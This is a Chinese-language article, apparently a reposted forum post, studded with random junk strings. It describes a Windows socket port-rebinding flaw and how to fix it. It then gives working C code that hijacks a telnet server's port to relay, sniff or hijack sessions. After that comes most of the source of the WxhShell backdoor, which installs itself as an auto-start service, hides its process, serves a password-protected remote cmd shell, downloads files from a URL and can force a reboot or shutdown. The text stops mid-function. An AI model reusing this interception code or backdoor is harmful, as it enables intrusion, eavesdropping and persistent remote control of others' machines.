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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <
.!3yy s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m
Y0C7i bHnQLJ saddr.sin_family = AF_INET; 1 Y&d%AA R&0l4g-4> saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y~xZ{am YSif`W! bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Qrh9JFqdG6 |?kH]Trr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,YTIYG]( p2K9R4 这意味着什么?意味着可以进行如下的攻击: gKCIfxM 'CX
KphlWs 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ewg WzB9c 6wgOmyJx 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y)`+u#`
R f14c}YY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }^q#0`e(y (Q+3aEUE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9h{G1XL aJ5R0Y, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %ZK}y{u\ =qRVKz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (1^(V)@ |*$_eb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n6f|,D!? *&D=]fG #include -E7\.K3 #include T2{+fRvN #include KX`,7- #include ?x97q3I+] DWORD WINAPI ClientThread(LPVOID lpParam); K~]jXo^M int main() NL 37Y{b { `upNP/, WORD wVersionRequested; vkK+
C~" DWORD ret; \bfHGo= WSADATA wsaData; RAC-;~$WB BOOL val; ./d ( @@ SOCKADDR_IN saddr; cx|j
_5%i SOCKADDR_IN scaddr; $/H'Dt6x int err; d9(F wmE SOCKET s; zBbTj IFQ SOCKET sc; [>;O'> int caddsize; A?/?9Gr HANDLE mt; \<} nn?~n DWORD tid; 2wd(0K}b wVersionRequested = MAKEWORD( 2, 2 ); )zN
)7 err = WSAStartup( wVersionRequested, &wsaData ); $gNCS:VG* if ( err != 0 ) { r!S iR( printf("error!WSAStartup failed!\n"); o2~x'*A0I return -1; Gm.hBNgp } WxFjpJt
saddr.sin_family = AF_INET; 'SmdU1]4BD ~#@EjQCq //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LjH];=R N+\*:$>zt6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D fea<5~^z saddr.sin_port = htons(23); `4CRpz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :.cX3dP@ { / @&Sqv4? printf("error!socket failed!\n"); 3jNcL{ return -1; yrjm0BM# } ;%1^k/b6t val = TRUE; |Xag:hof //SO_REUSEADDR选项就是可以实现端口重绑定的 UTPl7po5D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i]nE86.;
{ ^?2txLv,6 printf("error!setsockopt failed!\n"); [3.rG!Na return -1; /y 0 )r.R } fp7Qb $-A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1f=L8Dr //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}=U\v'%m //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Vr*t~M> 1}6pq2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +K?h]v]% { ')BQ 0sg ret=GetLastError(); b Y>Ug{O; printf("error!bind failed!\n"); S;])Nt'X' return -1; /dfZ>k8 } }DSz_^ listen(s,2); 6voK{C4J while(1) G 1$l %B { g_=Q=y@, caddsize = sizeof(scaddr); R/#*~tPi8 //接受连接请求 MWl@smRh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `&_qK~&/X if(sc!=INVALID_SOCKET) 073(xAkL{ { %Y@3)
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8^{BuUA if(mt==NULL) _5zR!|\^ { -K
jCPc printf("Thread Creat Failed!\n"); *M"wH_cd break; =vFI4)$- } <n><A+D } ^T5c^ M8o CloseHandle(mt); ymKdRF } $H#&.IjY closesocket(s); g5E]o) WSACleanup(); U|zW_dj return 0; E|>I/!{u7` } +,MzD'(D DWORD WINAPI ClientThread(LPVOID lpParam) "\9@gfsp) { [ACYd/ SOCKET ss = (SOCKET)lpParam; G2A pm`/ y SOCKET sc; te|VKYN%}[ unsigned char buf[4096]; e9
NHbq SOCKADDR_IN saddr; Cpj_mMtu long num; .C#}g DWORD val; "%Jx,L\f{ DWORD ret; %S^`/Snv" //如果是隐藏端口应用的话,可以在此处加一些判断 z+4R[+[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 $*PyzLS saddr.sin_family = AF_INET; =y':VIVJC saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 68y.yX[ saddr.sin_port = htons(23); =3"Nn4Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pK3cg|} { DGU$3w printf("error!socket failed!\n"); '~@WJKk return -1; 1kpI?Plki } /'I/sWEV val = 100; <W?,n% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZGf=/Ra
a { Bq!P.%6p4 ret = GetLastError(); HZ|6&9we return -1; jk|0 <-3 } 4uz\Me( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {5to;\. { :70oO}0m. ret = GetLastError(); u4S3NLG) return -1; dlWw=^ } p?}Rolk7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j#*K[ { +?c&Gazi printf("error!socket connect failed!\n"); H1l'\ closesocket(sc); os2yiF", closesocket(ss); u%|VmM> return -1; X)yTx8v4 } JK1b68n while(1) I[&!\Me[+w { \F>
*d!^C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HsO=%bb //如果是嗅探内容的话,可以再此处进行内容分析和记录 m:h]nm //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s8tI_h num = recv(ss,buf,4096,0); sST6_b if(num>0) y,%w` send(sc,buf,num,0); TWn7&,N else if(num==0) V{"5)Ly?fu break; ^|8cS0dK]Q num = recv(sc,buf,4096,0); A.y$.( if(num>0) _|*j8v3 send(ss,buf,num,0); Y)uNzb6R else if(num==0) #>233< break; 9`b*Y*d } tp1{)|pwY6 closesocket(ss); P$!Ht closesocket(sc); Tv(s?T6f return 0 ; @p!["v& } }x%"Oq|2]x 5[GX ^wX_@?aKtt ========================================================== r}vrE
^Q o?b"B+# 下边附上一个代码,,WXhSHELL
3{:d$- y *kDXx&7B$ ========================================================== 9)=as/o d>(dSKx #include "stdafx.h" eo@:@O+bm /knt5 #include <stdio.h> xUG|@xIwc #include <string.h> = U^B,q #include <windows.h> LIR2B"3F #include <winsock2.h> .M_;mhRI #include <winsvc.h> 7ed*dXY* #include <urlmon.h> =B;)h MHgS5b2 #pragma comment (lib, "Ws2_32.lib") >`6^1j(3 #pragma comment (lib, "urlmon.lib") g'mkhF( lRO4-
y #define MAX_USER 100 // 最大客户端连接数 iG<|3I #define BUF_SOCK 200 // sock buffer js>6Du #define KEY_BUFF 255 // 输入 buffer d 5Il0sG ?"L>jr( #define REBOOT 0 // 重启 9 /9,[ A #define SHUTDOWN 1 // 关机 Tp9LBF x[)S3UJ #define DEF_PORT 5000 // 监听端口 =P5SFMPN z\;kjI #define REG_LEN 16 // 注册表键长度 2[WQq)\ #define SVC_LEN 80 // NT服务名长度 K[ylyQ1 p,xM7V"O) // 从dll定义API jSddjs typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o XGf#>keg typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p*>[6{$3)O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YGxdYwBwf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (+4=A k #M_QSD}& // wxhshell配置信息 R,y8~D struct WSCFG { K<V(h#(.@ int ws_port; // 监听端口 F2XXvxG char ws_passstr[REG_LEN]; // 口令 iA%3cpIc(Z int ws_autoins; // 安装标记, 1=yes 0=no -,Q<*)q{ char ws_regname[REG_LEN]; // 注册表键名 1pcSfN :"1 char ws_svcname[REG_LEN]; // 服务名 ~)()PO char ws_svcdisp[SVC_LEN]; // 服务显示名 i~\gEMaO char ws_svcdesc[SVC_LEN]; // 服务描述信息 mNV4"lNR char ws_passmsg[SVC_LEN]; // 密码输入提示信息 smWA~Aq int ws_downexe; // 下载执行标记, 1=yes 0=no [TNYPA>{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" [t ^|l? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `5>IvrzXrK JhuKW>7 }; "+|>nA=7 4h(aTbHaQ // default Wxhshell configuration <@Ew-JU struct WSCFG wscfg={DEF_PORT, ?lbX.+ "xuhuanlingzhe", Gk!v-h9cq 1, 'W$qi@f_s "Wxhshell", {VI%]n{M "Wxhshell", y_J{+ "WxhShell Service", 5|AZ/!rb "Wrsky Windows CmdShell Service", KnbP@!+c "Please Input Your Password: ", U~7.aZHPx3 1, DrW]`%Ql " http://www.wrsky.com/wxhshell.exe", z.{yVQE "Wxhshell.exe" iPHMyxT+S }; J_`.w EQ7cK63 // 消息定义模块 OD*DHC2rN] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z5NuLB' char *msg_ws_prompt="\n\r? for help\n\r#>"; W[YcYa_tQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; gzw[^d char *msg_ws_ext="\n\rExit."; !WDdq_n*v char *msg_ws_end="\n\rQuit."; %d*}:295 char *msg_ws_boot="\n\rReboot..."; t7lRMCN
char *msg_ws_poff="\n\rShutdown..."; ,ll!19y char *msg_ws_down="\n\rSave to "; B{zIW'Ld Q>||HtF$A char *msg_ws_err="\n\rErr!"; )L_jR%2j char *msg_ws_ok="\n\rOK!"; Rov0 +!w?g/dV char ExeFile[MAX_PATH]; #Xsby int nUser = 0; dU+1@_ HANDLE handles[MAX_USER]; ,(lD5iN int OsIsNt; bXt A4O K)^.96{/@ SERVICE_STATUS serviceStatus; H#6J7\xcS SERVICE_STATUS_HANDLE hServiceStatusHandle; !n
!~Bw />]/At // 函数声明 _Hkc<j/e~ int Install(void); =#1/<q)L int Uninstall(void); po{f*}gas] int DownloadFile(char *sURL, SOCKET wsh); ?t<wp3bZ int Boot(int flag); W/J3sAYv void HideProc(void); q^,^tw int GetOsVer(void); UY>{e>/H9 int Wxhshell(SOCKET wsl); 78 3a Z8 void TalkWithClient(void *cs); r}XD{F}" int CmdShell(SOCKET sock); pvcf_w`n int StartFromService(void); 'd/A+W int StartWxhshell(LPSTR lpCmdLine); FUMAvVQ ;/ p)vR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~lQ]PKJ" VOID WINAPI NTServiceHandler( DWORD fdwControl ); ! a1j c_ W;j*lII // 数据结构和表定义 3{,Mpb@ SERVICE_TABLE_ENTRY DispatchTable[] = /GCSC8T { 3):7mE( {wscfg.ws_svcname, NTServiceMain}, R(x%<I {NULL, NULL} 3Dg I.V6un }; b/E1v,/< DfqXw^BKD // 自我安装 =(v/pLLK? int Install(void) BXm{x6\ { ?jb7Oq#[ char svExeFile[MAX_PATH]; .8g&V| HKEY key; r`6XF strcpy(svExeFile,ExeFile); 8CMI\yk QULrE+@ // 如果是win9x系统,修改注册表设为自启动 4yjAi@ /2 if(!OsIsNt) { _3ZZ-=J:=* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'L= g( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E-n!3RQ(w RegCloseKey(key); l1!i3m'x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7dxY07yu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z;lE-`Z*(F RegCloseKey(key); O+(Z`,^ return 0; 7%L-;xcr]B } T*LbZ"A } 5E~][. d } ./.E=,j else { wxvt:== T,jxIFrF // 如果是NT以上系统,安装为系统服务 %_}#IS1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e@@kTny( if (schSCManager!=0) 5>$*#0%"} { gTiDV{Ip SC_HANDLE schService = CreateService Ho*S>Y ( qCIZW schSCManager, OB5(4TY wscfg.ws_svcname, Cf8(Jk`v| wscfg.ws_svcdisp, YW>|gE SERVICE_ALL_ACCESS, 4dl?US[- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J6\<>5A? SERVICE_AUTO_START, 33-=Z9|r SERVICE_ERROR_NORMAL, lD\lFN(: svExeFile, jhK&Z7; NULL, 7;c{lQOj} NULL, <@e6zQG NULL, 0^tF_."Y NULL,
k|a{|2p NULL vPpbm ); IRXpk6| if (schService!=0) (z+[4l7 { oM QH-\(} CloseServiceHandle(schService); :9]23'Md CloseServiceHandle(schSCManager); NIQa{R/H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H=7dp%b" strcat(svExeFile,wscfg.ws_svcname); z_r W1?| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %k1*&2"1# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C$M^<z RegCloseKey(key); '$l*FWOEal return 0; (w@|:0t^y[ } @v@'8E Q } E$*I.i_m CloseServiceHandle(schSCManager); &<k)W } F0]= z- } E70
NAHQ:$ return 1; Xs*~[k' } Mx0c
#d. 7ug mZO}lL // 自我卸载 1rTA0+h int Uninstall(void) *Cj]j- { WY0u9M4 HKEY key; Q y$8!( &UQKZ. if(!OsIsNt) { LlnIn{C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7A7K:,c RegDeleteValue(key,wscfg.ws_regname);
X!nI{PE RegCloseKey(key); }MuXN<DDb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P4Wd=Xoz6 RegDeleteValue(key,wscfg.ws_regname); A]Q4fD1q RegCloseKey(key); {Yv
|C)O return 0; "yL&?B"9@ } 5N`g } />.& } P@
1D else { uqX"^dn4u nolTvqMT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OlMCF.W#3 if (schSCManager!=0) _ 4Hf?m7z { S3btx9y{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LP#CA^*S if (schService!=0) 8I NVn'G { "x3_cA~ if(DeleteService(schService)!=0) { - stSl* CloseServiceHandle(schService); ur9 -F^$ CloseServiceHandle(schSCManager); lr,hF1r&Y return 0; {%b>/r } tAbIT;> CloseServiceHandle(schService); _mA[^G=gY } oPm1`x CloseServiceHandle(schSCManager); &hjrJ/'^ } "c1vW<; } + +D(P=4hi (J$JIPF return 1; ^=.|\
YM } kZPj{^c: cg0L(oI~ // 从指定url下载文件 in(n[K int DownloadFile(char *sURL, SOCKET wsh) P8z++h { D-~HJ HRESULT hr; j$N`JiKM char seps[]= "/"; &'T7 ~M: char *token; ''v_8sv char *file; o6Vc}jRH char myURL[MAX_PATH]; )<-kS char myFILE[MAX_PATH]; 'Kp|\Tr @2kt6
W strcpy(myURL,sURL); :m@(S6T m token=strtok(myURL,seps); ~)sb\o
while(token!=NULL) /ExnW >wT { `'+[Y;s_ file=token; z$%ntN#eNA token=strtok(NULL,seps); [4PG_k[uTJ } vnXpC!1 XW5r@:e GetCurrentDirectory(MAX_PATH,myFILE); mbJ#-^}V strcat(myFILE, "\\"); VEE:Z^U! strcat(myFILE, file); PyzWpf send(wsh,myFILE,strlen(myFILE),0); 9.SPxd~
send(wsh,"...",3,0); pz.<5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (p^q3\ if(hr==S_OK) e,:@c3I return 0; +#'exgGU^[ else a+r0@eFLc return 1; ;h0?o*i_ PNg, bcl } GS<,adD CNfeHMT // 系统电源模块 Jq/([
int Boot(int flag)
yZdM4` { vTP'\^; HANDLE hToken; ?}B_'NZ% TOKEN_PRIVILEGES tkp; 4+ yd/^S #UI@<0P) if(OsIsNt) { 0^:O:X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &ATjDbW*( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }g>&l.2X tkp.PrivilegeCount = 1; ]>*Z 1g; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =GFlaGD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V&)-u(s_S/ if(flag==REBOOT) { *hFT,1WE=+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vF1]L]z:? return 0; !mq+Oz~ } 7tit>dJ else { HQv#\Xi1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M6y:ze return 0; "d%":F( } "m/0>UU0 } 9dSKlB5J else { +}X@{DB if(flag==REBOOT) { 80axsU^H0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M0"xDvQ return 0; pbloL3d.;+ } 0'VwObq else { fu\M2"e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bam7^g'*!3 return 0; hbxG } U*[/F)! } kAf2g )6IO)P/Q~ return 1; }$81FSKh } )P\ec GP`_R // win9x进程隐藏模块 q31swP void HideProc(void) .* VZY { /,GDG=ra sh E>gTe HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); </qXKEu`_ if ( hKernel != NULL ) T4J(8!7 { VY Va8[} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zcP_-q]1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lE$X9yIt FreeLibrary(hKernel); 0j_`7<,: } a|lcOU N[ E
t return; 80
i<Ij8J } 9M<qk si |;Jcf3e( // 获取操作系统版本 Rf2;O< int GetOsVer(void) 'd0]`2tVg4 { &*[T OSVERSIONINFO winfo; 5A:b
\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A$[@AY$MI GetVersionEx(&winfo); F0+ u#/# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]"{K5s7 return 1; DHgEhf] else qZCA16 return 0; ZIkXy*<( } |V%Qp5 XJ $(.[b][S // 客户端句柄模块 Y2QlK1.8V int Wxhshell(SOCKET wsl) [p[Kpunr{l { O .m;a_ SOCKET wsh; <gQw4 struct sockaddr_in client; 'SvYZ0ot DWORD myID; b2r@vZ]D [bH6>{3u while(nUser<MAX_USER) K7U` { Fl<BCJY int nSize=sizeof(client); ()= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q%8,@xg if(wsh==INVALID_SOCKET) return 1; r;I3N+ QJ-6aB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -HS(<V=a?k if(handles[nUser]==0) QcIa%lf closesocket(wsh); `=vL?w^QS else [|Jzs[ nUser++; )TBBYCL3 } O: :X$O7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ixE72bX /i"L@t)\t return 0; YeptYW@xfw } _;L9&>!p6 i|)<#Ywl // 关闭 socket 1^b-J0 void CloseIt(SOCKET wsh) _Cj u C`7 { mp+
%@n.; closesocket(wsh); 4}gqtw: nUser--; q.g<g u] ExitThread(0); L6J=m#Ld } s+h`,gg9 BC9rsb // 客户端请求句柄 XGbtmmQG void TalkWithClient(void *cs) _U|s!60' { |Q?IV5%$ gj0gs SOCKET wsh=(SOCKET)cs; oV&AJ=|\ char pwd[SVC_LEN]; vp{jh-& char cmd[KEY_BUFF]; jDqe)uVvtV char chr[1]; Vf`1'GY int i,j; /RIvUC1 J-au{eP^
while (nUser < MAX_USER) { #t>w)`bA- &C`t(e if(wscfg.ws_passstr) { sFT-aLpL@V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R%"wf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *"d" //ZeroMemory(pwd,KEY_BUFF); y.=ur,Nd i=0; Fi14_{ while(i<SVC_LEN) { [x
kbzJ #9F=+[L // 设置超时 j[.R|I|
fd_set FdRead; N~=p+Ow[H struct timeval TimeOut; ts<5%{M( FD_ZERO(&FdRead); C C;T[b& FD_SET(wsh,&FdRead); c0sU1:e0 TimeOut.tv_sec=8; t$m268m~ TimeOut.tv_usec=0; y9cW&rDH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hl(M0cxEWP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' jf$3 mg;+Th& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C{`+h163\ pwd =chr[0]; )[.FUx if(chr[0]==0xd || chr[0]==0xa) { $8kc1Q pwd=0; G&I\Za; break; )+'FTz` c } @{_[bKg i++; -R?~Yysd7K } +[<|TT 7q&Ru|T33 // 如果是非法用户,关闭 socket iSCv/Gb:, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }te\)
Yk.N } Uf}s6# U3}r.9/ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l{[{pAm send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R4.$9_ui E:a_f! while(1) { oKLL~X>!U V^Z"FwWk ZeroMemory(cmd,KEY_BUFF); .bE+dA6:v b_ +dNoB // 自动支持客户端 telnet标准 2R66 WKQ j=0; ;m`k#J? while(j<KEY_BUFF) { uH!uSB2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JKN0:/t7Q cmd[j]=chr[0]; |75>8; if(chr[0]==0xa || chr[0]==0xd) { `CP#S7W^ cmd[j]=0; Z7a~M3VnZ break; KAVe~j" } `irz'/"p j++; }F=scbpXj } 8 h M S$^m2 // 下载文件 FW~%xUSE5 if(strstr(cmd,"http://")) { puEuv6F send(wsh,msg_ws_down,strlen(msg_ws_down),0); iOXxxP%# if(DownloadFile(cmd,wsh)) IhoV80b send(wsh,msg_ws_err,strlen(msg_ws_err),0); s
tvI else yxP(| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n]c6nX:' } 0%$E^` else { {>$i)B o?%1^6&HE switch(cmd[0]) { X%w` :c& 1W*%}!&Gm // 帮助 VSns_>o case '?': { Y%eFXYk. send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fn(<
<FA) break; @Cg%7AF } Z7>pz:, // 安装 AWsy9 case 'i': { >1u!(-A if(Install()) tl5}#uJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qa-]IKOs else ^'9:n\SKQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !ZlBM{C break; Jm0o[4 } .hO) R. // 卸载 /E8{:>2 case 'r': { Jse;@K5y if(Uninstall()) CEbZj
z| send(wsh,msg_ws_err,strlen(msg_ws_err),0); aly1=j else ^~\cx75D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >.'rN>B+ break; Ldqn<wNnI } j_YpkKhen // 显示 wxhshell 所在路径 Xo^P=uf% case 'p': { 7:iTx;,v char svExeFile[MAX_PATH]; _gDEIoBp strcpy(svExeFile,"\n\r"); `P/7Mf strcat(svExeFile,ExeFile); |Rk9W send(wsh,svExeFile,strlen(svExeFile),0); Z{&dzc break; vw(X9xa } ,c }R*\ // 重启 )*6]m1 case 'b': { CRXIVver send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BOqu$f+ if(Boot(REBOOT)) b7;`A~{9v send(wsh,msg_ws_err,strlen(msg_ws_err),0); hdW}._ else { ,n)f=q*% closesocket(wsh); 6jS:_[p ExitThread(0); #Xdj:T<* } MC=pN(l break; W%$sA}O } Q[sj/ // 关机 Z|l/6L8 case 'd': { |KH9 81 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IXQxjqd^ if(Boot(SHUTDOWN)) i|M^QKvF send(wsh,msg_ws_err,strlen(msg_ws_err),0); %2)B.qTp& else { Yu1[`QbB closesocket(wsh); G!Gbg3:4e5 ExitThread(0); P[Q3z$I} } ~\uI&S5 break; R1A|g=kF } z''ITX)oG // 获取shell 6ooCg>9/Z case 's': { mQ~0cwo) CmdShell(wsh); -l)u`f^n| closesocket(wsh); Q:rQ;/b0/ ExitThread(0); M^C|svm break; 4o|-v } VH*4fcT'D // 退出 ]!%
p21e case 'x': { T-.Q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6sE%] u<V CloseIt(wsh); QV&yVH=Xs break; e#{,M8 } ?7?hDw_Nk // 离开 Ih RWa|{I case 'q': { I;u1mywd send(wsh,msg_ws_end,strlen(msg_ws_end),0); <.d^jgG(j closesocket(wsh); IZw>!KYG WSACleanup(); VDnN2)Km* exit(1); wgETL|3- break; 98Dg[O } E![Ye@w } ^/`W0kT } VgBZ@*z(x 4xYW?s( // 提示信息 Dej_(Dz_S if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0<^!<i(% } Ad%3 fvn } = ^NTHc^* 16pk4f8 return;
)c;zNs } 1\XR6q:2 >5%;NI5
G // shell模块句柄 z&R
#j int CmdShell(SOCKET sock) D=>[~u3H { ZjB]pG+ STARTUPINFO si; z+~klv3 ZeroMemory(&si,sizeof(si)); }4dbS ;C< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8(jUCD si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \7\7i-Vo PROCESS_INFORMATION ProcessInfo; 8?
U!PW char cmdline[]="cmd"; 4Y.o RB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _{k-&I return 0; n^xB_DJ~ } s+omCr|H;A \jHHj\LLr. // 自身启动模式 +xL*`fn int StartFromService(void) -%,3qhsd { IGKtugU% typedef struct D~^P}_e. { ,JU3w DWORD ExitStatus; Q"(*SA+-| DWORD PebBaseAddress; 5w^6bw){ DWORD AffinityMask; iL48 DWORD BasePriority; /
%9DO ULONG UniqueProcessId; s%Y8;D,~+ ULONG InheritedFromUniqueProcessId; 6\BZyry3* } PROCESS_BASIC_INFORMATION; l(~i>iQ
